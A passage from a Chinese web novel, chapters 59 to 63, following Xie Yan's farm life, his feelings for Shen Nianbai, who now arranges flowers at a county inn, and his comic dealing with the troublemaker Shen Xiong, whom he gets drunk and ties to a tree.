听到有芙蓉糕吃,小二这才作罢,“看他也不是故意的,这事就算了吧。”
沈念白赔着笑,“谢谢小二哥。”
“行了,我忙去了。”
小二走了,沈念白带着柳梦寒和许承志来到后院。
柳梦寒看到后院的花,惊叹道:“好多花啊。”
沈念白回道:“插花用的,掌柜的要求每天每个房间都要换新鲜的花。”
沈念白走到自己的房间,与柳梦寒说道:“进来吧。”
柳梦寒看了过去,问道:“这是你的房间啊?”
沈念白点了头,“嗯。”
许承志本来也只是陪柳梦寒来的,他也没有话要说,于是就在外面等着,柳梦寒一个人跟着沈念白进了房间。
进了房间关上门,沈念白倒了杯水递给柳梦寒,问道:“你怎么来县城了?”
柳梦寒叹了口气,“还不是因为谢言哥。”
一听跟谢言有关,沈念白当即就急了,连忙问道:“谢言哥怎么了?”
柳梦寒道:“自从你来了县城,谢言就跟变了个人似的。”
沈念白急切的问道:“怎么呢?”
柳梦寒想了一下,形容道:“大家都说他要死不活的。”
沈念白更急了,“啊?怎么会这样?”
柳梦寒他们就这件事已经讨论过很多次了,立马就回答了沈念白,“想你想的吧。”
沈念白一听连忙否认,“怎么可能?”
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柳梦寒肯定道:“真的,我觉得他肯定是得了相思病了。”
沈念白盯着柳梦寒吓得甚至后退了一步,“你在说什么呢,谢言哥只当我是弟弟,你别乱想了。”
柳梦寒却有不用的看法,他道:“不是,有天晚上我晚上起夜看到他半夜抱着你挖回去的那株兰花流眼泪呢。”
“不..不会吧。”沈念白都磕巴了。
柳梦寒道:“我都亲眼看见了,我骗你干什么?”
沈念白颇有些心虚的看着柳梦寒,“那.你来找我干什么?”
柳梦寒听到他的话心都凉了半截,“念白,你别跟我说你不喜欢谢言哥啊?”
沈念白心虚的撇了眼睛,“我..不喜欢。”
“完了完了,你不喜欢他,谢言哥在这样下去,肯定要完了。”柳梦寒彻底没法了,索性破罐子破摔,“算了,反正跟我没啥关系,大不了我也到县城里来找活干。”
“这怎么跟你没关系呢?”沈念白看向柳梦寒,颇有些质问的意味。
柳梦寒都懵了,“这跟我有什么关系,他每天连话都不说,我们想好了说辞想去劝他都不知道从哪儿开口。”
沈念白看着柳梦寒的样子,第一次认真的说道:“你跟谢言哥不是相互喜欢的吗?”
听了他的话柳梦寒一副见了鬼的样子,瞪大眼睛不敢置信的望着他,“完了,你是不是也不正常了?被鬼附身了吗?”
话都说开了,沈念白不介意说得更直接一些,他认真的说道:“我看见了,你跟谢言哥晚上幽会。”
柳梦寒震惊的看着他,“念白啊,你别吓我,你这什么毛病啊?妄想症吗?我什么时候跟他幽会了?”
沈念白道:“好几次,我都看见了。”
柳梦寒不敢置信的摇头,“为什么你说的我一点印象都没有啊,我的天,咱们是生活在一个地方吗?”
沈念白低下头沉默着不说话了,而柳梦寒还处在极度的震惊中,他甚至不知道这个误会是什么时候来的,他想了半天也没有想出来沈念白误会的点,最后他说道:“从你们救我开始,我就一直以为你们是夫夫,直到最近这件事我才知道原来不是,我怎么可能喜欢他呢?别闹了,我要你们搞疯了。”
柳梦寒越说越觉得离谱了,怎么会闹出这种误会啊?
但一直深信的事是不会这么容易被推翻的,沈念白道:“那天晚上我看见你们在牛棚了。”
柳梦寒脱口而出,“哪天啊?”
柳梦寒记不住,但沈念白记得清清楚楚,“沈熊来的前一天晚上。”
最近发生的事太多了,柳梦寒想了好一会儿才想起来,“哦,那段时间你一直不大对劲,我又不知道你怎么回事,就去找谢言哥说了这事。”
沈念白记得那天晚上谢言是找他说了这事,他这才不确定的问道:“你们真的没有..?”
他话都没有说完,柳梦寒就迫不及待的自证,“没有啊,我跟谢言哥什么都没有。这事的离谱程度比我说这地方是买卖人口的黑店还夸张啊。”
一听黑店两个字,沈念白差点跳起来,赶紧去捂他的嘴,“好了我知道了,别这样说了。”
自此横亘在沈念白心里的疙瘩完全消失了。
60.第 60 章
柳梦寒问道:“那你现在打算怎么办?”
沈念白也没有主意,他问道:“家里现在怎么样了?沈熊他们还在闹吗?”
柳梦寒将那天发生的事情说了,“我看他们一时半会肯定不敢来了,要不,你直接回去算了。”
沈念白摇头,“不了。”
柳梦寒看着他为难的神情,正要说话听到门外张乘风的声音响起,“你是谁啊?怎么做这儿了?”
许承志道:“我是念白兄弟的朋友,我来找他的。”
张乘风道:“念白的朋友啊,他这个时间应该在楼上插花呢,你要不去楼上找找?”
听到这话柳梦寒才意识到后院那些花都是沈念白的活儿,他十分惊讶,“你还会插花呢?”
沈念白道:“来这儿现学的。”
柳梦寒拍了拍他的肩膀,“可以啊,插花可是个雅活,比山里好多了,难怪你不回去,要我我也不回去。”
沈念白扯了扯嘴角没有说话,柳梦寒道:“反正事情我都跟你说了,我也回去了,你自己看着办吧。”
沈念白点头,从厨房里拿了几个烙饼给了柳梦寒和许承志,“拿着路上吃吧。”
张乘风在旁边说话,“这些够吗,要不多拿几个?”
柳梦寒连忙道:“够了够了。”
沈念白将柳梦寒和许承志送到门口,临走的时候,柳梦寒上前凑到沈念白的耳朵边问道:“你真的不喜欢谢言哥吗?”
沈念白愣了一下,没有回答,柳梦寒问完就退了回去,“我们走了,你自己好好照顾自己。”
沈念白挥手与他们告别,心里还想着柳梦寒的问题。
另一边在灵秀山的谢言已经在吃早饭了,他甚至没有发觉今天的早饭不是柳梦寒做的,平时最爱往他身边凑的许承志也没在,他吃了饭就背着背篓就准备山上,此时宋明笙突然说了句,“果子都熟了,在不摘都要掉地上了。”
谢言抬头看去,这才看到李子都已经通红了,白花桃都红了。钟程台给了他二十两银子呢,他不能放人家鸽子,于是喊了几个人一起上山摘果子,摘了五六个西瓜,还摘了一些辣椒,人多了,菜也吃得多,能剩下的根本不多,所以谢言就没有摘别的菜了。
谢言将货装上马,牵着马往县城而去。
走到一半的时候路过一处十分茂盛的草丛,马见了就上前去吃草,谢言本来想着走了这么久马也累了,让它吃点草也行,但突然之间草丛动了起来,这荒山野岭的,谢言还是第一次遇到这种事,心里难免有点害怕。他想着大白天的总不能有人在野外那啥吧,难不成是蛇?
不管是什么,谢言都没有那个好奇心,秉持着多一事不如少一事的原则,谢言赶紧拉着马走了。
等到谢言走远了,草丛突然从中间扒开一条缝,随即露出许承志的脸来,“走了。”
许承志从草丛里出来过后又把柳梦寒给拉出来了,柳梦寒拍了拍身上沾的露水,“这一天天的也太刺激了,跟做贼一样。”
许承志好奇的问道:“你还做过贼啊?”
柳梦寒白了他一眼,“你才做过贼。”
许承志被骂得很委屈,“是你说的跟做贼一样,你要是没做过贼,怎么知道做贼是什么样子。”
柳梦寒无语至极,连话都不想跟他说,抬脚就走了。许承志赶紧追了上去,“我又说错什么了。”
另一边谢言来到县城,张佳华看到他亲切极了,“哎呀,你可来了,你再不来,明天我就找你去了。”
谢言不好说他心情不好忘记了,只说:“我特意等到果子成熟才摘的,现在吃是最好的。”
灵秀山的好多东西张佳华之前连听都没有听说,自然是相信谢言的话,张佳华叫来工人一起下了货。
下完货差不多也到中午了,张佳华留谢言吃饭,“今天在怎么忙也要把午饭吃了在走。”
他都这样说了谢言也不好推脱,“那就麻烦张哥了。”
张佳华朝小二道:“去喊念白一起吃午饭。”
小二应声,转身去了后院。
谢言和张佳华来到厢房,一进门谢言就看到了对面靠在墙上的架子上放着好几瓶粉橘色的鲜花,明媚的颜色让人看着就心情好。
张佳华与谢言说道:“这些都是念白插的,自从房间内放上了鲜花,每天客流比之前多了三分之一,掌柜的现在可把念白当成宝贝了。”
这不是张佳华第一次说这种话了,谢言听着心里既为沈念白感到高兴又为两人的距离越发的远而失落,他扯起嘴干巴巴的笑了笑,“能帮上忙就好。”
张佳华完全没有察觉到谢言的情绪,“这可不是帮上忙了,这都算是财神爷了。”
谢言笑了笑,还是那句话,“那就好。”
张佳华又介绍起沈念白的插花来,谢言对花不懂,即便他认真的去听,但听也听不明白,只能时不时的附和的点头,不让自己看起来那么扫兴。
正说着呢,沈念白过来了,张佳华热络的说道:“快坐,我想着你们兄弟好几天没见了,正好今天谢言来了,就一起聚聚。”
沈念白客套的笑了笑说道:“多谢张哥费心了。”
张佳华笑道:“才来几天也学会说客气话了。”
谢言垂眸看着面前的桌子,他分辨不出来是什么木材,但看着就不便宜,耳边听着沈念白的话,嘴角扬起一抹细致的微笑。是啊,才来几天就这么会说话了。
一顿饭下来,谢言没有说几句话,全程几乎都是张佳华在说话,而且大部分都是在跟沈念白说,此时此刻谢言才真切的感受到了,张佳华一直在跟沈念白套近乎,果然是财神爷啊。
一顿饭下来谢言的嘴角都没有停下来过,吃完了饭,谢言就起身告辞了,“多谢张哥,我地里还有活,就不多麻烦了。”
张佳华道:“这么快就要走啊,多留一会儿呗。”
谢言拒绝了,“正是农忙的时节,等过段时间不忙了,再来玩。”
闻言张佳华也没有在留他,“行,我送你。”
谢言还是拒绝了,“熟门熟路的,张哥太客气了,我走了。”
末了,谢言才看了沈念白,朝他笑了笑,转身走了。
一转身谢言脸上的笑意瞬间消失殆尽,这地方他
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一刻钟也待不下去了。
谢言走得飞快,甚至忘记牵马,还是走到门口时小二问了一句他才想了起来,于是他又折回后院牵马,结果一进后院就看到沈念白在后院坐着发呆。
谢言站在原地看了他一会儿,思索着该说什么,他还没有想出来沈念白就察觉到了他,连忙起身,“谢言哥。”
谢言佯装平静的应了一声,“诶。”
他尽量的稳住声线,想让声音听起来与平常无异,可他还是高看了自己的自制力,简简单单的一个字都能听出来他声音的颤抖。
沈念白望着他,问道:“谢言哥,是不是我做错了什么?”
谢言下意识的回道:“没有啊。”说完又问道,“你怎么会这么想?”
沈念白直白道:“今天你一句话都没有跟我说,也没有看我。”
谢言扯了扯嘴角,答非所问的说了句,“看到你在这里过得好,我就放心了。”
沈念白问道:“那你呢?你好吗?”
谢言道:“挺好的,家里也一切都好。”
沈念白道:“是吗?我看你脸色不好,还以为你生病了。”
谢言道:“可能昨晚没睡好吧,今天晚上早点睡就行了。”
沈念白问道:“是不是沈熊他们又来闹事了?”
一说到沈熊,谢言就想起了站在在法律上他跟沈念白已经是夫夫了,这让他本来就糟糕的心情越发的糟糕了。
“没有,那天张哥来把他们吓唬走了,近来他们应该都不敢来了。”
沈念白看着谢言,默了好一会儿他才说道:“抱歉啊,谢言哥,给你添了这么大的麻烦。”
谢言心想,不用抱歉,因为我给你添的麻烦更大。
“别这么说,咱们是兄弟。”末了谢言又自欺欺人的添了一句,“一辈子的好兄弟。”
此时张乘风从厨房里出来,“哎哟,累死我了,这客人也太多了。”说罢看到了谢言,笑嘻嘻的与他打招呼,“谢言哥,又来看念白啊。”
谢言淡淡的应了一声,与沈念白说道:“我回去了,你自己照顾好自己。”
张乘风热络的说道:“怎么才来就要走,多玩一会儿呗,念白总是念叨你呢。”
谢言看着张乘风热情的样子,突然意识到沈念白已经在这里交上朋友了,他在这里不仅没有像自己想象的不适应,而是非常适应。
优雅的工作,交好的朋友,沈念白还会想回山里吗?
谢言的心里乱糟糟的,他鬼使神差的问了一句,“你们关系很好吗?”
张乘风回道:“当然了,念白来这儿的第一天衣服都是我陪他去买的。”说完还看向沈念白问道,“对吧,念白?”
沈念白点头,“嗯。”
谢言看着沈念白身上的长衫,再一次感觉到了两人的差别,他什么也不想说了,只说了句,“我真的要回去了。”
说完径直去牵了马头也不回的走了。
张乘风与沈念白站在一起,看着谢言急匆匆的背影,感叹似的说了一句,“你哥真忙。”
沈念白没有说话,只是眼神有些黯淡。
61.第 61 章
谢言牵着马走在回家的路上,太阳刺得人眼睛都睁不开,路边的草都晒得蔫巴巴的,马也不爱走,一到阴凉的地方就赖着不走了,要谢言使劲拉才不情不愿的往前走,一人一马明晃晃的较着劲。
谢言看着杂草丛生的前路,这条路他已经走得很熟了,他清楚这条路有多远,要走多久才能到。汗水滑到睫毛上,看出去五颜六色的。谢言下意识的伸手擦了脸上的汗,黏腻的汗水糊了他一手,就是在这一刻,他突然想通了。
沈念白能留在县城并不是一件坏事。
自古以来,谁不是往城里走?沈念白有这么高的天赋,他就应该留在城里发光发热,过好日子,而不是一辈子都洗不干净腿上的泥。
一重山两重山,山重水复,山路的尽头是官道,是县城。
谢言抬头看着天,盛大的太阳让他睁不开眼,他想通了,既然是太阳就应该待在天上。
想通了这些,谢言长松了一口气,他已经拧巴太久了,被压住的心现在终于能喘过气来了,他的思维又开始发散,或许以后沈念白会在县城里找到一个喜欢的人,成亲生子,孩子一定会跟沈念白一样漂亮,孩子会亲切的喊他,‘大伯’
想到这里,谢言突然鼻头一酸,他赶紧甩了甩脑袋,停止了这种自虐的想象,他还是没有大度到这个份上,至少现在还没有。
谢言回到家已经是下午了,除了柳梦寒在做晚饭,其他人都上山去了。谢言这才发现地基都快填满了,过不了几天就要开始建房子了。
谢言心里使劲的告诉自己,真好啊,虽然日子有不如意的地方,但总体都是在变好的。
柳梦寒见他回来,有些心虚,“谢言哥,你回来了。”
谢言笑着点了头,语气颇为轻快,“回来了,家里一切都好吧?”
柳梦寒见他情绪明显的好了,看来还是念白的劝说起了作用。连忙点头回道:“都好,大家都很有干劲。”
“天气热了,煮些绿豆汤让大家带到山上去喝,解暑。”
看来谢言是完全恢复了,柳梦寒心里也松了一口气,他应道:“行,我明天熬。”
“我上山了。”谢言说了一声后就将马牵到阴凉处拴起来,得给马建个马棚才行,等把地基填完了在建吧。
谢言背着背篓上了山,除草,挑水浇菜,割牛草,只要地里还有庄稼,活是永远干不完的。
柳梦寒都喊他吃饭了,谢言牛草都还没有割完,他应了一声,“来了。”但还是把牛草割完了才回去。
由于这段时间谢言的状态不稳定,柳梦寒担心他,还跟宋绥安一块来找他。
三人在路上遇上,柳梦寒看到他,长松了一口气,“谢言哥,你一直没回来,我担心你又像上次那样在地里晕过去了。”
谢言解释道:“牛草没割够,不想一会在来一趟,就割完了才回来的。”
回到家,许承志他们都还在等谢言吃饭一个个都饿得蔫巴巴的,谢言见状说道:“以后我没回来,大家先吃就是,不用等我。”
许承志客气的回道:“我们也都还没饿,回来坐着休息休息在吃饭。”
谢言道:“大家都有各自的事,真不用等我,地里的活没个定数,要将就太阳,又要将就人,大家该吃就吃,吃完了该干嘛干嘛,我们这里又不是县城,规矩没那么多大家自在些。”
柳梦寒接了话道:“知道了,下次我一定让他们先吃。”
谢言浑身都被汗打湿了,衣服湿哒哒的贴在身上很不舒服,“你们先吃,我先去洗个澡,浑身都被汗打湿了。”
谢言说完就走了,去河边洗了澡,换了干净的衣服,人才清爽了起来。下意识要走的时候看到了河边的脏衣服,他顿了一下,蹲下身开始洗,夏天衣服薄,几下就搓好了。
谢言回家晾衣服的时候柳梦寒看见了,“谢言哥,你把衣服放在河边,我等会一起洗了就是。”
谢言道:“不用,以后自己的衣服自己洗。”
柳梦寒有些惊讶,“啊?”
衣服晾完了,谢言转身看向柳梦寒,“你跟许承志他们说,以后自己的衣服自己洗。”
不用洗衣服,柳梦寒自然是高兴的,他点头应道:“好,我这就去跟他们说。”
谢言又去为了牛,这才回到屋前,许承志他们吃完饭已经去河边洗澡了,只有宋家人和柳梦寒在门前坐着乘凉,见到谢言过来,他们喊了他一声,谢言也应了一声,柳梦寒给他盛了饭,谢言端着饭碗吃饭,听着柳梦寒和宋家人聊天。
柳梦寒问道:“房子多久能建好啊?”
宋明笙回道:“按现在这个速度,估计三个月就能建好了。”
柳梦寒有些意外,“三个月就能建好了?”
宋明笙道:“应该是。”
他们还在说别的,但谢言没有听了,他转身看着不远处的地基,原来想了这么多年的房子,只要三个月就能建好。
灵秀山的一切都恢复了正常,就连之前不太正常的谢言现在也正常了,大家每天上工干活,而谢言则上山干农活,地里的活很多,但谢言太想快点把房子建起来了,所有也没有调人去干农活,所以他只能每天早出晚归,有月亮的时候大半夜都还在地里。
在谢言这种不要命的干劲带动下,房子一天一个样。
天热,果子也熟得快,自从谢言带了马回来过后,张佳华就没有在来了,所以谢言最少五天就要去一趟县城。
今天一大早,谢言就让所有人去摘了果子,李子,桃子,芒果,桂圆,葡萄,哈密瓜,西瓜,板栗,石榴、梨子,装了满满当当两大筐。
谢言出发的时候路过池塘,这个时节荷花还在开,娇艳欲滴的,谢言回头看了一眼,大家都各自忙去了,于是他脱鞋下了塘,摘了两朵盛开的荷花,两支莲子,插在装果子的筐里。
谢言走得早,来到县城的才刚到巳时,这也是饭点,天悦酒楼正是忙的时候,谢言带着货没有像之前一样走正门,而是来到了后门。
后门关着,谢言敲了门,正巧来开门的是沈念白。
沈念白看到他惊喜不已,“谢言哥。”
谢言本以为见了他会难过,没想到还是高兴更多,他也笑了,“嗯,我给你带了好东西。”说着就将插在箩筐上的荷花和莲子递给了他。
沈念白接了过来,“谢谢。”
谢言笑了笑,“客气什么,我可是你哥哥。”
沈念白脸上的笑容淡去,他垂眸遮掩了情绪,应了一声,“我去给你喊张哥。”
“哦,好。”
在等待的间隙,张乘风出来透风的看
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见了他,热络的与他打招呼,“念白的大哥,好几天没见了,又来送货啊?”
谢言看着他笑着应了声,“嗯,天气热果子熟得快。”
张乘风看着他身边热得伸长舌头的马,回道:“这个天是够热的,你坐会儿,我给你盛碗绿豆汤来。”
谢言客气道:“不用麻烦了。”
“这有什么麻烦的,反正都是熬好的。”张乘风一边说着一边进了厨房。
谢言摸了一把额头的汗,刚准备坐下张佳华就过来了,热络的与他打招呼,“谢言。”
谢言喊了声,“张哥。”
张佳华玩笑道:“咱俩真是心有灵犀,我昨天才在想你怎么还不来,上次的货都卖完了,今天你就来了。”
谢言憨厚的笑了笑,没有接话。
张佳华叫了人来下货,谢言要去帮忙,但张佳华拉住了他,“你休息休息吧,走了这么长的路不累啊。”
张乘风端了一碗绿豆汤出来,看到张佳华,喊了声,“二掌柜的,我看谢老板走热了给他盛了碗绿豆汤。”
张佳华点了点头,“这个天是要多喝绿豆汤去火。”
谢言接过绿豆汤,道了声谢,张佳华道:“别客气,你们两兄弟现在都是我们天悦酒楼的贵人,来这儿跟就回自己家一样。”
谢言道:“张哥太抬举我们了。”
“这话可不是我说的,是掌柜的说的。”张佳华说完又闲聊问道:“你的房子建得怎么样了?”
谢言回道:“还在建。”
张佳华道:“建房子是慢,以后你生意做大了,就到县城来住,雇人帮你看山就行了,其实不用建那么大的房子的。”
谢言回道:“还是算了,我在山里住习惯了,来了县城反而不习惯了。”
张佳华笑道:“你来住一段时间就习惯了,你看,念白这不是挺好的吗?”
谢言看向沈念白,笑着说道:“这还要多谢张哥的照顾。”
张佳华道:“以后你生意做大了,我还要你多多照顾我呢。”
谢言道:“张哥说笑了,我哪有那本事。”
下完了货,张佳华就忙去了,谢言坐着喝完了绿豆汤就准备回去了,“念白,我回去了。
”
沈念白理花的手一顿,他抬头看向谢言,“这么快就要回去了?”
“早点回去,越晚越热。”末了谢言又说道,“最近我会常常来的。”
听他这么说,沈念白也没有在说了,“路上小心些。”
谢言回道:“我知道。”
此时出来透气的张乘风听说谢言要走,开口道:“念白大哥,你要走了啊,厨房里还有几个饼子,你拿着路上吃呗。”
谢言实在不好意思白吃白喝的,连忙摆手,“不用了,我刚才喝了一大碗绿豆汤,一点也不饿。”
谢言说完就牵着马走了,没走一会儿就听见沈念白在喊他,“谢言哥。”
谢言回头见沈念白追过来了,手里还拿着什么东西,他便停下等他。
沈念白跑上前,“乘风哥给的,你拿着路上吃。”
谢言看着饼子,虽然不好意思,但拿回去更不好,于是还是收下了。
“天热,你赶紧回去吧。”
沈念白点了头,“嗯。”
62.第 62 章
谢言回到家的时候中午都过了,他一回来就看见沈熊耍赖似的坐在地基上,许承志他们也不敢上前,就在不远处坐着,见到谢言回来全都迎了上来,“谢大哥。”
沈熊自然也看见了谢言,他道:“这次我可不砸你的东西了,我只是在这儿坐着,你不把我儿子交出来,我是不会走的。”
柳梦寒小声说道:“他可无赖了,我们在哪儿干活他就坐哪儿去,分明是来添乱的,他还说他什么也没干,县令也不能把他怎么样。”
谢言默了一瞬间,并没有理会沈熊,只是与许承志他们说道:“天热得很,大家别在这儿候着了。今天大家午睡过后就去地里干活吧。”
许承志听了应了一声就散开了,唯独柳梦寒在谢言身边问道:“那他怎么办啊?”
谢言一路赶回来,太热了,饼子吃不下去,现在饿得慌,也没有回答他的话只是问道:“还有饭没有?”
柳梦寒点头,“有,给你留着呢。”
“先吃饭吧,饿得很。”
柳梦寒道:“好,我去热。”
谢言道:“不用热了,我将就吃。”
“行。”
这个天,本来就热,吃冷的正好。
柳梦寒将饭菜端出来,谢言坐下就开吃,吃饭的时候谢言注意到沈熊一直看着他,似乎很想吃。
谢言低声问道:“他什么时候过来的?”
柳梦寒回道:“你刚走没一会就过来了。”
谢言又问道:“他吃过东西没有?”
柳梦寒回道:“我们吃午饭的时候我看见他从怀里摸了两个饼子吃了。”
谢言点了头,没有在说话,吃完了饭,又去找了许承志,闲聊的时候问他,“沈熊有什么爱好没有?”
这话倒把许承志问懵了,“爱好?”
谢言直接问道,“喜欢喝酒或者别的?”
这么一说许承志就明白了,回道:“喜欢喝酒。”
谢言点了头,心里有了个大概的想法,与许承志说道:“睡觉吧。”
从许承志的茅草屋里出来,谢言又去河边找到了正在洗碗的柳梦寒,“酿的酒能喝了吗?”
柳梦寒转头看他,似乎有些不解,“你现在要喝酒?”
谢言回道:“我不喝。沈三叔来咱们这儿,不得好好招待招待吗?”
柳梦寒听到他的话,瞬间皱起了眉头,明显不赞同他的想法,“他来给咱们添乱,咱们还要招待他?”
谢言道:“这个你别管,有没有?”
柳梦寒看着谢言,虽然不赞同他的想法,但他还是老实点头,“有。”
谢言道:“拿大碗倒两碗出来。”
柳梦寒惊讶,“两碗?”
谢言没有解释,只是点头确定,“嗯。”
“好吧。”
说完了话谢言没有等柳梦寒而是先回了家,他走到竹屋的屋檐坐下,颇为客气的喊了声,“沈三叔,下午更热起来了,要不你明天在来?”
新房子还在立柱子,一点不遮阳,晒得沈熊脸通红,周身汗水跟下雨一样的流。但沈熊根本不接受谢言的好意,他道:“你把人交给我,我明天也不来了。”
谢言无奈的笑道:“关键是我根本没有,我上哪交去?”
沈熊道:“不管人去哪儿了,反正是你藏起来了,我只找你。”
谢言听罢笑得更无奈了,“沈三叔,你这..”
沈熊道:“你赶紧把人交给我了事,不然我天天都来,你这房子也别想建了。”
谢言长长的叹了口气,“人真的不在这儿。”说罢又问道,“要不然你直接开个价,要多少钱才能放过我?”
沈熊的回答却出乎了谢言的意料,“他是我儿子,能用钱来说事吗?”
说话间柳梦寒已经倒好了酒来到了谢言面前,整整两大碗,稍微一晃就要荡出来。
谢言端着酒来到沈熊面前,好脾气的说道:“沈三叔,我敬你是条汉子,话都不用说了。来,尝尝我们新酿的玉米酒。”
平民百姓很少能喝上酒,沈熊一闻到酒气馋虫就勾起来了,虽然说话还是不客气但他的手却实诚的摸上了酒碗,“你别以为两碗酒就能打发我。”
谢言道:“不管怎么说,咱们都是一个村子里,俗话说远亲不如近邻嘛,我一个人在山上还不是全靠父老乡亲照顾。”
“那是。”沈熊接过酒碗,小心翼翼的吸溜了一口,当即眼睛就亮了。
谢言低头深深的闻了一口,浓郁的酒香带着玉米独有的清香,让人沉醉。
谢言看着一口一口的不停的喝,也不需要人劝,没一会儿就喝得面红耳赤,抱着谢言的肩膀直叫兄弟。谢言见他醉得差不多了,顺势问道:“沈三叔,你怎么钱都不要,非得要人呢?”
沈熊道:“这你就不懂了,我把沈念白嫁给张屠户,他侄儿可是里正,以后咱们沈家在村里就能横着走了。”
谢言了然,原来是这样啊。
沈熊还喋喋不休,“看你也是个爽快人,我也不怕跟你说,我想整你,法子多得很。看在你这么爽快的份上,把人交给我这事我就不追究了。”
谢言好奇的问道:“什么法子啊?”
沈熊道:“村长的儿子吴天宝喜欢宋绥安,但宋绥安躲到你这里来了,我要是去找村长一说,村长必定会借着这个事发难,到时候你还想建房子,这地都给你推了。”
谢言挑了眉,“还有呢?”
沈熊继续说道:“你在这深山里住了这么多年,肯定没缴税吧。我去跟里正一说,就能把你送去坐大牢。”
谢言笑了笑,“还有吗?”
沈熊醉得不行,倒在了谢言的肩膀上,他手直愣愣的指着前方,“我的法子多着呢。”说完这一句,沈熊就彻底醉倒了。
一瞬间谢言脸上的笑容敛去,然后叫来柳梦寒,“去多叫几个人过来。”
柳梦寒看着倒在地上的沈熊,兴奋得不行,连忙就去叫了五六个人过来。
谢言喊他们,“把他抬到山上去。”
六个人抬着沈熊往山上去,柳梦寒跟在谢言身边,低声问道:“咱们是直接把他埋了吗?”
谢言闻言惊讶的扭头看他,“你说什么呢?”
柳梦寒被这么一问倒是有点糊涂了,“难道不是吗?”
谢言道:“杀人是犯法的。”
柳梦寒问道:“那把他抬到山上去干吗?”
谢言并没有直说,“等会你就知道了。”
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来到山上,谢言觉得地方差不多了,“就这儿吧。”
几个人停了下来,谢言选了一颗笔直的松树,有一个怀抱粗,他使足劲踹了一脚,大松树纹丝不动,非常结实。
谢言道:“把他弄到树上去。”
几个人闻言互相看了几眼,最后心虚的说道:“谢大哥,我们可不敢杀人啊。”
谢言道:“没叫你们杀人。”
几人道:“把他弄到树上去,万一摔下来了不就摔死了吗?”
谢言从背后拿出绳子,“把他绑到树上,摔不下来。”
几人确定谢言不是要他们杀人,这才合力将沈熊弄到了树上,他们将沈熊抬到了树杈上坐着,让他抱着树干,然后用绳子将他绑了起来。
谢言在下面看见了,叮嘱道:“一定要绑紧点。”
“诶,绑得紧,不会松的。”
人多干啥都快,没一会儿就将人给绑好了,几个人站在树下望着沈熊,远远看过去真的跟只熊一样。
谢言道:“行,回去吧。”
柳梦寒走前还愤愤不平的骂了一句,“哼,叫你讨厌,活该。”
柳梦寒兴奋得说了一路,谢言想着沈熊的话,问了他,“里正是什么?”
柳梦寒回道:“就是管理户籍,赋税之类的,算个小官吧。”
原来是官啊,难怪沈熊宁愿不要钱也要去巴结他。
柳梦寒见谢言一直若有所思的,问道:“怎么了?”
谢言摇了摇头,“没什么,刚才沈熊喝醉了,乱七八糟的说了许多,提到了这个人,我就问问。”
柳梦寒道:“村里就这么大,往前数三代,全都能攀上亲戚。”
这倒是,谢言点了头,也没有多说,“行了,忙活了这么一阵,回去睡午觉吧。”
柳梦寒问道:“现在没有捣乱的了,下午可以继续建房子了?”
谢言点头,“嗯,早点把房子建起来。”
他们回到家,大家伙都起来了,其他人还是建房子,只有谢言和柳梦寒背着背篓上了山,柳梦寒现在除了做饭,就是喂猪,十头猪越长越大,每天光吃一顿就要煮两锅,一天要吃两顿,去年剩的玉米,前几天就已经吃完了,所以现在柳梦寒得每天上山打猪草。
地里的菜摘了许多,倒是省了事,剩下的那些谢言挑水浇了,又去除了草,在天快黑的时候才去割了牛草。
就在谢言割牛草的时候听到山上传来一声怒吼,“谢言,你个王八羔子,你敢阴我。”
沈熊骂了好一阵,谢言只当没有听到,他要赶在天黑之前把牛草割完。
沈熊消停了一阵,突然又嚎了起来,“谢言,谢言,我不要人了,你赶紧来救救我啊。”
谢言割牛草十分熟练,赶在天黑前割了整整两背,够吃了。
谢言将最后一背牛草背回去的时候,柳梦寒就在喊吃饭了,“谢言哥,吃饭了。”
谢言应了一声,“我去山上看看,你们先吃。”
柳梦寒一听当即就要去凑热闹,“我跟你一去去。”
“不用。”谢言拒绝了,他担心沈熊气急了动起手来,柳梦寒在场还要顾及他。
谢言说得很坚决,柳梦寒也就没有坚持了,“哦。”
63.第 63 章
来到山上,远远的谢言就觉得有些不对劲,在绑沈熊的树下有两双冒着绿光的眼睛。
那两双眼睛一瞬不瞬的盯着谢言,谢言也不敢轻举妄动了,他大声问道:“沈三叔,树下那俩是你喊来的救兵吗?”
沈熊本来累得蔫巴巴的,听到他的话当即就来气了,大声吼道:“还不快来救我,这俩玩意吓我半天了。”
谢言问道:“你不说是什么,我不敢过来啊。”
安静了一会儿,沈熊的声音才再次响了起来,“两条傻狗。”
谢言道:“我看着不像狗啊。”
沈熊道:“你走近点就看得清楚了。”
谢言道:“算了,沈三叔,你不说实话,我也不敢过来。你就在树上睡一晚吧,我明天在来。”
谢言说完转身就往回走,沈熊瞧见了,赶紧说道:“你别走,你别走,是狼,是狼,你赶紧想办法把它们弄走。”
谢言停了下来,又转身看去,顿了片刻后说道:“沈三叔,狼爱吃鸡,我要是给它吃了鸡,可这鸡算谁的啊?”
空中传来沈熊咬牙切齿的声音,“算我的。”
谢言道:“一百文一只哦。”
话音一落空气中传来沈熊怒气冲冲的声音,“你讹我。”
谢言道:“天地良心,我冒着生命危险给狼送鸡,只要一百文一只。沈三叔,你要是觉得贵的话,那我也不能强买强卖,我就回去了。”
谢言说完就走,沈熊咬着牙,“行行行,你赶紧的吧。”
“知道了。”
谢言回家,柳梦寒他们听到他在跟沈熊说话,但是距离有些远,他们也没有听清楚说的是什么,于是问道:“谢言哥,你刚才跟沈熊说什么了?”
谢言道:“他被狼给困树下了,我得救他去。”
柳梦寒吃惊,“狼?”
谢言点头,“嗯,应该有两头,我拿两只鸡去。”
柳梦寒道:“我帮你。”
去鸡圈捉了两只鸡,柳梦寒担忧的问道:“两只鸡够不够?”
“够了。”谢言说罢朝许承志他们说道,“你带着人去接应我。”
虽然有了鸡,但谢言还是不敢掉以轻心,现在是晚上狼要是发起猛来他一个人肯定是顶不住的。
许承志点头,各自拿了家伙,在谢言后面跟着,只不过为了不惹怒狼,谢言没让他们进山,只在山口等着。
来到绑沈熊的那棵树下,沈熊急不可耐,“你怎么这么慢?”
本来就在跟谢言对峙的狼听到他的声音,开始呲牙咧嘴了,谢言将鸡往狼面前一扔,他道:“吃鸡,鸡好吃。”
鸡被扔到空中不停的扑腾,狼追鸡去了,一闪身就没了影,谢言确定狼走远了,这才三下两除二爬上了树,沈熊虽然吓着了但并没有什么损伤。
沈熊见狼走了,也明显的松了口气。“吓死老子了,赶紧给我解开。”
谢言朝他伸出手,沈熊问他,“干嘛?”
谢言道:“两只鸡,一共两百文。”
沈熊不承认,他道:“你把我绑到树上半天,我还没有找你要钱,你还跟我要起钱来了。”
